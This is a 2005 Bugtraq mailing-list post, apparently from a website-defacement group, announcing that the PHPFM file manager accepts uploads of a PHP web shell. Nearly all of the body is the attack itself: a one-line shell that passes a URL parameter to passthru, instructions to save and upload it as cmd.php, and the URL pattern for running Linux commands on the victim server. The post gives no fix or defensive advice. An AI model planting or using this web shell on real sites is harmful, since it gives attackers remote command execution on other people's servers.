[41076] in bugtraq
upload phpshell in PHPFM
daemon@ATHENA.MIT.EDU (GeekZ@securityfocus.com,"[at]"@sec)
Mon Nov 7 18:43:54 2005
Date: 7 Nov 2005 01:35:46 -0000
Message-ID: <20051107013546.23323.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: GeekZ@securityfocus.com, "[at]"@securityfocus.com,
WorldDefacers@securityfocus.com, "[d0t]"@securityfocus.com,
NeT@securityfocus.com
To: bugtraq@securityfocus.com
upload phpshell in PHPFM
discovered by rUnViRuS
www.worlddefacers.net
www.security-arab.com
=-=-=-=-=-=-=-=-=
the code shell :-
---------------
<pre>
<?
passthru($_GET['cmd']);
?>>
save as > cmd.php
now upload in PHPFM
=-=-=-=
Used Shell
=-=-=-=
www.site.com/[file upload name]/[files]/cmd.php?cmd=[command linux]
=-=-=-==-=-=-==-=-=-==-=-=-==-=-=-==-=-=-=
